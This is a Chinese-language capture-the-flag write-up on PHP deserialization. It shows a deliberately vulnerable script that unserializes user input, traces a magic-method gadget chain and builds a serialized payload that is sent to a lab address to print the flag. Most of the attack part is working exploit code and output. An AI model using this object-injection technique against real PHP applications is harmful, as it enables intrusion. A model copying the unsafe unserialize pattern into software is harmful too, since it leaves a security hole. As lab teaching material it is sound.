class start_gg {
public $mod1;
public $mod2;
public function __destruct() {
$this->mod1->test1();
}
}
class Call {
public $mod1;
public $mod2;
public function test1() {
$this->mod1->test2();
}
}
class funct {
public $mod1;
public $mod2;
public function __call($test2,$arr) {
$s1 = $this->mod1;
$s1();
}
}
class func {
public $mod1;
public $mod2;
public function __invoke() {
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1 {
public $str1;
public $str2;
public function __toString() {
$this->str1->get_flag();
return "1";
}
}
class GetFlag {
public function get_flag() {
echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
}
}
$a = $_GET['string'];
unserialize($a);
?>
夺旗我们可以从调用链的终点开始分析.
我们看到flag是在GetFlag类的get_flag()方法获取, 那么查找哪个类可以调用到 get_flag() , 找到 string1 类.
string1 中调用了 __toString() 方法, 那么查找哪个类可以调用到 __toString() 方法, 看到 func 类中使用 mod1 做了字符串拼接, 那么定位到 func 类.
func中调用了__invoke()方法, 那么查找哪个类里面有用函数形式调用对象的代码, 看到funct类中使用 s1() 的形式调用, 那么让mod1作为一个对象即可, 定位到funct类.
funct 中使用了__call()方法, 那么查找哪个类里面调用了不存在的方法, 看到 Call 类中调用了不存在的方法test2(), 所以定位到 Call 类.
Call 类中调用了 test1() 方法, 这不是一个魔术方法, 那么我们查看一下哪个类中直接调用了 test1() 这个方法, 看到在 start_gg 类中直接调用了test1()方法, 那么定位到 start_gg 类.
到此为止所有的类已经被我们串联了起来, 以 GetFlag为终点, start_gg为起点形成调用链.
根据我们分析的调用链顺序逐步实例化对象, 注意实例化哪个对象和它赋值给哪个属性, 搞错任何一个位置调用链就会失败.
class GetFlag {
public function get_flag() {
echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
}
}
class string1 {
public $str1;
public $str2;
public function __construct(){
$this->str1 = new GetFlag();
}
}
class func {
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new string1();
}
}
class funct {
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new func();
}
}
class Call {
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new funct();
}
}
class start_gg {
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new Call();
}
}
echo serialize(new start_gg()); // 序列化对象, 得到字符串
?>
执行结果:
O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
根据题目源码的参数, 提交GET请求:
http://192.168.112.200/security/unserial/ustest.php
?string=O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
执行结果:
flag:59DB9139E685F7D6A4A8784F9221066F